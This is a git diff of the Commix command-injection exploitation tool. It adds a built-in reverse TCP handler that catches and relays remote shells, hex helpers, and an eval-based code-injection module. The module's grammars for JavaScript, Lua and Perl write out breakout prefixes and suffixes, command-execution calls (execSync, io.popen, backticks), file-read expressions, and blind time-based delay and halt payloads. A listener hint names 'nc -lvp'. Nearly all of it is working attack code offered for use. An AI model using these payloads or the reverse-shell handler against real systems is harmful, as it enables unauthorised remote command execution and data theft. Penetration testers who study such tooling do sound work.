launch(cmd): + if settings.HANDLER and not settings.LAST_SELECTED_MODULE.startswith(("meterpreter/", "web_delivery/")): + server = _local_listener_active(settings.LHOST, settings.LPORT, keep_listening=True) + if server is None: + warn_msg = "Could not listen on " + settings.LHOST + ":" + settings.LPORT + " - either something is already " + warn_msg += "bound there, or that address is not local to this host. Falling back to the external-listener workflow for this run." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + shell = _execute_shell_launch(execute_cmd, cmd, filename, url) + if shell: + settings.command_execution_output(shell) + else: + info_msg = "Started reverse TCP handler on " + settings.LHOST + ":" + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + server.settimeout(session_relay.ACCEPT_TIMEOUT) + result = {} + sender = threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, result), daemon=True) + sender.start() + try: + try: + conn, addr = server.accept() + except socket.timeout: + err_msg = "No connection observed back on " + settings.LHOST + ":" + settings.LPORT + " - the reverse " + err_msg += "shell likely did not come back (target unreachable, missing interpreter on the target, or blocked egress)." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + _report_send_failure(result) + except KeyboardInterrupt: + back_or_quit_prompt("Waiting for the callback interrupted. [(b)ack/(q)uit] ", filename, url) + else: + info_msg = "Session opened (" + settings.LHOST + ":" + settings.LPORT + info_msg += " -> " + str(addr[0]) + ":" + str(addr[1]) + ")." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + session_relay.interactive_relay(conn, filename, url) + finally: + server.close() + else: + # HANDLER on but still here means the shell needs its own listener, so say why. + if settings.HANDLER: + warn_msg = "The built-in handler cannot catch a '" + settings.LAST_SELECTED_MODULE + "' shell " + warn_msg += "(it needs Metasploit's own handler). Using the external-listener workflow." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + listener_was_active = _local_listener_active(settings.LHOST, settings.LPORT) + if not listener_was_active: + warn_msg = "No listener detected on " + settings.LHOST + ":" + settings.LPORT + ". " + warn_msg += "Start one first (e.g. 'nc -lvp " + settings.LPORT + "') or the callback will be missed." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + info_msg = "Check your external listener on " + settings.LHOST + ":" + settings.LPORT + " for the connection." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + send_result = {} + threading.Thread(target=session_relay.run_payload_send, args=(execute_cmd, cmd, send_result), daemon=True).start() + time.sleep(2) + # Only catches a fast failure - a send still in flight is the normal case and reports nothing. + if send_result.get("error"): + err_msg = "Sending the payload failed: " + str(send_result["error"]) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + + return _tcp_config_generic("reverse_tcp", reverse_tcp.reverse_tcp_options, launch, bind_tcp_config_generic, + execute_cmd, cmd, go_back, go_back_again, filename, url, separator) + +TCP_MODE_CONFIGS = { + "bind_tcp": bind_tcp_config_generic, + "reverse_tcp": reverse_tcp_config_generic, +} + +""" +Check commix shell options, dispatching command execution through the given executor callback. +""" +def check_option_generic(execute_cmd, cmd, go_back, go_back_again, filename, url, separator=""): + os_shell_option = checks.check_os_shell_options(cmd.lower(), filename, url) + + if os_shell_option == "back" or os_shell_option is True or os_shell_option is False: + go_back = True + if os_shell_option is False: + go_back_again = True + return go_back, go_back_again + + # The original "cmd" is used for the paths - "os_shell_option" is lowercased. + elif os_shell_option and os_shell_option.split(" ", 1)[0] == "download": + checks.shell_download(execute_cmd, cmd, filename) + return go_back, go_back_again + + elif os_shell_option and os_shell_option.split(" ", 1)[0] == "upload": + checks.shell_upload(execute_cmd, cmd) + return go_back, go_back_again + + # Bare mode names no longer switch mode - "use " does (see below). + elif os_shell_option in ("os_shell", "reverse_tcp", "bind_tcp"): + err_msg = "Type 'use " + os_shell_option + "' to switch to that mode." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return go_back, go_back_again + + # "use os_shell" / "use bind_tcp" / "use reverse_tcp" - switch mode, mirroring the + # "use payload " flow inside the reverse_tcp/bind_tcp modes themselves. + # os_shell_option is None for "?" (check_os_shell_options() prints the help itself + # and returns nothing) - guard before slicing it. + elif os_shell_option and (os_shell_option == "use" or os_shell_option[0:4] == "use "): + use_target = os_shell_option[3:].strip() + + if use_target == "os_shell": + warn_msg = "You are in the 'os_shell' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return go_back, go_back_again + + elif use_target in TCP_MODE_CONFIGS: + go_back, go_back_again = TCP_MODE_CONFIGS[use_target](execute_cmd, cmd, go_back, go_back_again, filename, url, separator) + if not settings.BIND_TCP and not settings.REVERSE_TCP: + info_msg = "Selected (default) mode: 'os_shell'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return go_back, go_back_again + + else: + common.invalid_option(cmd) + return go_back, go_back_again + + # The "quit" / "exit" options + elif os_shell_option == "quit" or os_shell_option == "exit": + checks.quit(filename, url, hard_exit=True) + + else: + return go_back, go_back_again + +# eof diff --git a/src/core/convert.py b/src/core/convert.py index a6be82373a..4556bdd6eb 100644 --- a/src/core/convert.py +++ b/src/core/convert.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -14,26 +14,39 @@ """ import codecs -from src.utils import settings +import binascii +from src.utils import settings from src.thirdparty import six +""" +Decode string for hex +""" def hexdecode(value): if value.lower().startswith("0x"): value = value[2:] try: value = codecs.decode(''.join(value.split()), "hex") + except binascii.Error: + return value, False except LookupError: value = binascii.unhexlify(value) - value = value.decode(settings.UNICODE_ENCODING) - return value + # Not every sequence of bytes is text, so whether it decoded is the caller's to check. + try: + return value.decode(settings.DEFAULT_CODEC), True + except UnicodeDecodeError: + return value, False +""" +Encode string to hex +""" def hexencode(value): if isinstance(value, six.text_type): - value = value.encode(settings.UNICODE_ENCODING) + value = value.encode(settings.DEFAULT_CODEC) try: value = codecs.encode(value, "hex") except LookupError: value = binascii.hexlify(value) - value = value.decode(settings.UNICODE_ENCODING) - return value + # Every byte has a hex form, so unlike 'hexdecode' there is no outcome to report back. + return value.decode(settings.DEFAULT_CODEC) +# eof diff --git a/src/core/eval/__init__.py b/src/core/eval/__init__.py new file mode 100644 index 0000000000..09ad84a1b4 --- /dev/null +++ b/src/core/eval/__init__.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +What code injection looks like in each language commix can reach: how a payload breaks into a +string the application evaluates, how it closes again, and which of that language's own functions +run a command. It is the technique that decides how execution is proven, so none of this belongs +to one - a module here is used by whichever technique carries it. +""" + +from src.core.eval.grammars import php +from src.core.eval.grammars import python +from src.core.eval.grammars import ruby +from src.core.eval.grammars import javascript +from src.core.eval.grammars import powershell +from src.core.eval.grammars import perl +from src.core.eval.grammars import lua + +LANGUAGES = {php.NAME: php, python.NAME: python, ruby.NAME: ruby, javascript.NAME: javascript, + powershell.NAME: powershell, perl.NAME: perl, lua.NAME: lua} + +""" +The languages that can be named with '--eval'. +""" +def supported(): + return tuple(sorted(LANGUAGES)) + +""" +The grammar for one language, or the only one there is where none was named. +""" +def grammar(language=None): + return LANGUAGES.get(language) or LANGUAGES[php.NAME] + +# eof diff --git a/src/core/eval/eb_handler.py b/src/core/eval/eb_handler.py new file mode 100755 index 0000000000..7c62294b3b --- /dev/null +++ b/src/core/eval/eb_handler.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.controller import handler + +""" +The dynamic code evaluation (aka eval-based) technique. +""" + +""" +The "eval-based" injection technique handler. +""" +def eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): + return handler.do_results_based_process(url, timesec, filename, http_request_method, injection_type, technique) + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, timesec, filename, http_request_method, injection_type, technique): + return eb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique) + +# eof diff --git a/src/core/eval/eb_injector.py b/src/core/eval/eb_injector.py new file mode 100755 index 0000000000..d85e6d8e28 --- /dev/null +++ b/src/core/eval/eb_injector.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.core.controller import injector + +""" +The dynamic code evaluation (aka eval-based) technique. +""" + +""" +Evaluate test results. +""" +def injection_test_results(response, TAG, randvcalc, technique, payload=None): + return injector.injection_test_results(response, TAG, randvcalc, technique, payload) + +""" +The main command injection exploitation. +""" +def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, interpreter, filename, technique): + OUTPUT_TEXTFILE = "" + return injector.results_based_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, interpreter, filename, technique) + +""" +The command execution results. +""" +def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec): + url = OUTPUT_TEXTFILE = timesec = "" + return injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) +# eof diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/eval/grammars/__init__.py similarity index 86% rename from src/core/injections/blind/techniques/time_based/__init__.py rename to src/core/eval/grammars/__init__.py index b50e6972c9..7cd55728d8 100644 --- a/src/core/injections/blind/techniques/time_based/__init__.py +++ b/src/core/eval/grammars/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,4 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +# eof diff --git a/src/core/eval/grammars/javascript.py b/src/core/eval/grammars/javascript.py new file mode 100644 index 0000000000..c53ef06e0b --- /dev/null +++ b/src/core/eval/grammars/javascript.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "javascript" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "JavaScript" + +""" +An expression whose value says at once that code was evaluated, and which build evaluated it. + +Node carries no single banner the way Python's 'sys.version' or Ruby's 'RUBY_DESCRIPTION' do, so +this joins the three values that together are unique to a Node build - version, platform, and +architecture - into one string a payload's own regex reads back in one piece. +""" +PROBE = "process.version+process.platform+process.arch" + +# The probe on its own, and coerced to a string where the bare expression is not rendered as one - +# it already is one, but a sink built for a value never rendered as text may still expect a call. +PROBE_FUNCTIONS = ["" + PROBE + "", + "String(" + PROBE + ")", + "(" + PROBE + ").toString()" +] + +# The same probes broken into the string being evaluated, one boundary per row - each row pairing a +# prefix with the suffix that closes it, the way the boundaries below are paired. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["+" + x for x in PROBE_FUNCTIONS], + ["'+" + x + "+'" for x in PROBE_FUNCTIONS], + ["\"+" + x + "+\"" for x in PROBE_FUNCTIONS], + ["')+" + x + "+('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. +PROBE_REGEX = r"(v\d+\.\d+\.\d+)(?:linux|darwin|win32|freebsd|openbsd|sunos|aix)(?:x64|arm64|arm64?|ia32|ppc64|s390x)" +WARNINGS = ["SyntaxError", "ReferenceError", "is not defined", "Unexpected token", "at eval "] + +""" +The language's own callables that run a command, widest first as the level rises. + +Each is written out whole, the 'require' included: there is no bare name for these the way a +language with them built in would have, and the prefix below only adds the bracket. +""" +EXECUTION_FUNCTIONS_LVL1 = ["require(\"child_process\").execSync"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["require(\"child_process\").exec"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["require(\"child_process\").spawnSync", "eval"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one, and +# concatenation out of a quoted string the value sits inside. +PREFIXES_LVL1 = ["", "+", "'+", "\"+"] +# Closing a call the value sits inside, and a further argument to one. +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')+", "\")+", "',", "\","] +# Ending the statement outright, where the sink runs statements rather than an expression. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "+'", "+\""] +# Closing the call again, and commenting out whatever the application appends behind it - this +# language's line comment is '//', not the '#' another dynamic language would use here. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["+('", "+(\"", "//"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'//", "\"//", ")//", "]//", "}//", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "+".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. +""" + +# A string literal holding the given text. +def _literal(text): + text = text.replace("\\", "\\\\").replace("\"", "\\\"") + return "\"" + text.replace("\r", "\\r").replace("\n", "\\n") + "\"" + +# Run a command and yield its output. 'execSync' answers with a Buffer, not the string itself. +def run(cmd): + return "require(\"child_process\").execSync(" + _literal(cmd) + ").toString()" + +# Read a file and yield its contents. +def read_file(path): + return "require(\"fs\").readFileSync(" + _literal(path) + ").toString()" + +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" +def trim(expr): + return "(" + expr + ").replace(/\\n+$/, \"\")" + +""" +How many bytes an expression is. + +Counted off the bytes rather than off what this language calls its characters: a command printing +three Greek letters is six bytes and was reported as three, so the search asked about half of them +and the other half came back as nothing at all. Every other grammar here counts bytes, and the +ordinals the techniques read are byte ordinals, so the two have to agree on what a position is. + +Read through the one pair of calls every build of this language has had: 'encodeURIComponent' writes +each byte as its own escape and 'unescape' reads those back one per character, which is a string +whose length and whose character codes are the bytes. A 'Buffer' would say the same thing in fewer +calls and is not there at all outside Node, which one of the sinks this grammar answers is not. +""" +def length(expr): + return "unescape(encodeURIComponent(" + expr + ")).length" + +# The ordinal of an expression's Nth byte, counting from zero. 'charCodeAt' answers 'NaN' past the +# end, which the search would read as a comparison that is never true - answering zero instead +# says plainly that nothing is there, the way every other language's grammar here does too. +def ordinal(expr, index): + # Parenthesised around the whole of it: '||' binds looser than every comparison this grammar + # writes around an ordinal, so the fallback would otherwise take the comparison for its own right + # side rather than standing in for a byte that is not there. Read off the bytes, as the length + # beside it is. + return "(unescape(encodeURIComponent(" + expr + ")).charCodeAt(" + str(index) + ")||0)" + +# An expression's value read as a number, for a command whose output is one. +def to_number(expr): + return "(Number(" + expr + ")||0)" + +""" +Wait for as long as the condition is true, and no time at all when it is false. + +There is no synchronous sleep built into the language itself - only a callback-based timer, which a +single expression cannot wait on - so the delay is asked of the shell instead, through the same +'execSync' the rest of this grammar already reaches a command with. +""" +def delay(timesec, condition): + return "((" + condition + ")?require(\"child_process\").execSync(\"sleep " + str(timesec) + "\"):0)" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. + +Thrown rather than exiting the process outright: a request handler here usually runs inside a +server the same process goes on serving other requests from, unlike the per-request worker another +language's grammar can afford to end. An uncaught throw reaches the same result - the response the +target sends back differs from the one a satisfied condition renders - without taking that server +down for every request after this one. Wrapped in a call, since 'throw' is a statement and this +sits inside a ternary, which only takes expressions on either side. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + return "((" + condition + ")?\"\":(()=>{throw new Error()})())" + +""" +Evaluate one expression and then another, within a single expression. + +The comma operator: it evaluates its left side, discards the value, then evaluates and yields its +right side - built for exactly this, unlike the tuple or concatenation another language's grammar +has to reach for here instead. +""" +def sequence(first, second): + return "(" + first + "," + second + ")" + +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/core/eval/grammars/lua.py b/src/core/eval/grammars/lua.py new file mode 100644 index 0000000000..f7af24ecb1 --- /dev/null +++ b/src/core/eval/grammars/lua.py @@ -0,0 +1,185 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "lua" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "Lua" + +# A constant whose value says at once that code was evaluated, and which build evaluated it. +PROBE = "_VERSION" + +# The probe on its own - already a string, so nothing here needs to coerce it into one. +PROBE_FUNCTIONS = ["" + PROBE + ""] + +# The same probe broken into the string being evaluated, one boundary per row. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + [".." + x for x in PROBE_FUNCTIONS], + ["'.." + x + "..'" for x in PROBE_FUNCTIONS], + ["\".." + x + "..\"" for x in PROBE_FUNCTIONS], + ["') .." + x + "..('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. +PROBE_REGEX = r"Lua (\d+\.\d+)" +WARNINGS = ["unexpected symbol", "attempt to call", "attempt to index", "')' expected", "[string \""] + +""" +The language's own functions that run a command, widest first as the level rises. + +Each is written out whole, its module included - this language has no bare name for either, the way +one without them built in would need written out again here. +""" +EXECUTION_FUNCTIONS_LVL1 = ["os.execute"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["io.popen"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one (with '..', +# this language's own concatenation operator), and concatenation out of a quoted string the value +# sits inside - either quote reads the same here, neither one interpolating what it holds. +PREFIXES_LVL1 = ["", "..", "'..", "\".."] +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')..", "\")..", "',", "\","] +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "..'", "..\""] +# Closing the call again, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["..('", "..(\"", "--"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'--", "\"--", ")--", "]--", "}--", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "..".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. +""" + +# A string literal holding the given text. Lua strings read exactly what is between their quotes - +# nothing in one is ever read back as a variable or another expression - so only a literal +# backslash and the quote closing this one need escaping, nothing an embedded '$' or '@' needs. +def _literal(text): + text = text.replace("\\", "\\\\").replace("\"", "\\\"") + return "\"" + text.replace("\r", "\\r").replace("\n", "\\n") + "\"" + +# Run a command and yield its output, through the one handle this language reads a command's +# stdout from. +def run(cmd): + return "io.popen(" + _literal(cmd) + "):read(\"*a\")" + +# Read a file and yield its contents. +def read_file(path): + return "io.open(" + _literal(path) + "):read(\"*a\")" + +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here, written as the decimal escape for +it rather than as the byte, which the payload carries no better than the shell around it does. + +Parenthesised around the whole call: 'gsub' answers the string and how many times it matched, and +the second of those would otherwise still be there wherever this sits as the last of several +arguments passed to something else - 'string.len', not least. +""" +def trim(expr): + return "((" + expr + "):gsub(\"\\10+$\", \"\"))" + +# How many bytes an expression is. +def length(expr): + return "#(" + expr + ")" + +""" +The ordinal of an expression's Nth byte, counting from zero. + +'string.byte' itself counts from one, so the index asked for here is one more than it would be +anywhere else in this grammar - answering nothing, not a byte that happens to share a value, where +the index runs past the end. +""" +def ordinal(expr, index): + # Parenthesised around the whole of it: 'or' binds looser than every comparison this grammar + # writes around an ordinal, so the fallback would otherwise take the comparison for its own right + # side - a byte that is there answers the 'or' before the comparison is ever reached, every + # comparison came back true, and the search for the byte converged on the top of its pool + # whatever the byte was. + return "((" + expr + "):byte(" + str(index + 1) + ") or 0)" + +# An expression's value read as a number, for a command whose output is one. +def to_number(expr): + return "(tonumber(" + expr + ") or 0)" + +""" +Wait for as long as the condition is true, and no time at all when it is false. + +Both sides of this language's own stand-in for a ternary have to answer something true-like of +their own, or the 'or' beside it would run anyway - 'sleep N' always does, so there is nothing here +the empty string this grammar's halt() answers would have needed a second guard against. +""" +def delay(timesec, condition): + return "os.execute((" + condition + ") and \"sleep " + str(timesec) + "\" or \"true\")" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + # The empty string answering true here is no different from any other string to this language's + # own 'and'/'or' - unlike some, it never reads one as the false this grammar does not mean. + # Wrapped whole: '..' binds tighter than 'and'/'or' here, so the payload's own concatenation onto + # this would otherwise reach straight through 'or' into one side of it alone. + return "((" + condition + ") and \"\" or os.exit())" + +""" +Evaluate one expression and then another, within a single expression. + +'select(2, ...)' returns everything from its second argument on - both are still evaluated to get +there, so the first one's side effect still runs, but only the second is what the whole thing reads +as. The comma operator another grammar reaches for here has no equivalent of its own in this one. +""" +def sequence(first, second): + return "(select(2," + first + "," + second + "))" + +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "~="} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/core/eval/grammars/perl.py b/src/core/eval/grammars/perl.py new file mode 100644 index 0000000000..10ceb2490c --- /dev/null +++ b/src/core/eval/grammars/perl.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "perl" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "Perl" + +# An expression whose value says at once that code was evaluated, and which build evaluated it. +# '$]' is the interpreter's own version number, '$^O' the platform it was built for - neither one +# alone is unique to Perl, but nothing else renders this exact pair back in this exact order. +PROBE = "$] . $^O" + +# The probe on its own, and wrapped in what would render it where the bare value is not. +PROBE_FUNCTIONS = ["" + PROBE + "", + "(" + PROBE + ")" +] + +# The same probes broken into the string being evaluated, one boundary per row. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["." + x for x in PROBE_FUNCTIONS], + ["'." + x + ".'" for x in PROBE_FUNCTIONS], + ["\"." + x + ".\"" for x in PROBE_FUNCTIONS], + ["')." + x + ".('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. +PROBE_REGEX = r"(\d+\.\d+)(?:linux|darwin|MSWin32|freebsd|openbsd|solaris|cygwin)" +WARNINGS = ["syntax error", "at (eval", "Global symbol", "Can't locate", "Undefined subroutine"] + +""" +The language's own functions that run a command, widest first as the level rises. + +Each is written as a bare name a payload can wrap in a call - the backtick operator runs a command +too, and is reached through 'run()' below rather than named here, since it is not a call this +prefix scheme can wrap. +""" +EXECUTION_FUNCTIONS_LVL1 = ["system"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["exec"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one (with '.', not +# '+' - this language's own concatenation operator), and concatenation out of a quoted string the +# value sits inside. +PREFIXES_LVL1 = ["", ".", "'.", "\"."] +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')." , "\")." , "',", "\","] +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", ".'", ".\""] +SUFFIXES_LVL2 = SUFFIXES_LVL1 + [".('", ".(\"", "#"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'#", "\"#", ")#", "]#", "}#", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return ".".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. +""" + +""" +A string literal holding the given text. + +Written inside '${\\ ... }', which interpolates one expression's value as-is - unlike a bare +backtick string, which reads '$' and '@' in whatever it is given as its own interpolation, however +much of the command they were never meant to be. 'sleep', 'exit' and the rest of this grammar never +go through this, so only run() and read_file() need it. +""" +def _literal(text): + text = text.replace("\\", "\\\\").replace("\"", "\\\"").replace("$", "\\$").replace("@", "\\@") + text = text.replace("\r", "\\r").replace("\n", "\\n") + return "\"" + text + "\"" + +# Run a command and yield its output, through the backtick operator. +def run(cmd): + return "`${\\" + _literal(cmd) + "}`" + +# Read a file and yield its contents. +def read_file(path): + return run("cat " + path) + +""" +Drop the newlines an output ends with, so a length agrees with what a shell's own substitution +would report. + +Whitespace of every kind taken off instead, an output ending in a space or a tab was reported +shorter than it is and came back without the part of it that said so: a command printing 'AB ' +was answered with 'AB', while the techniques reading their answer off a substitution handed back +all four characters. A substitution drops newlines and stops at the first byte that is not one - +a carriage return, among them - so that is what comes off here. +""" +def trim(expr): + return "((" + expr + ")=~s/\\n+\\z//r)" + +# How many bytes an expression is. +def length(expr): + return "length(" + expr + ")" + +# The ordinal of an expression's Nth byte, counting from zero. +def ordinal(expr, index): + return "ord(substr(" + expr + "," + str(index) + ",1))" + +# An expression's value read as a number, for a command whose output is one - '+0' numeric context +# answers 0 for anything that is not one, the same as every other grammar's own fallback here. 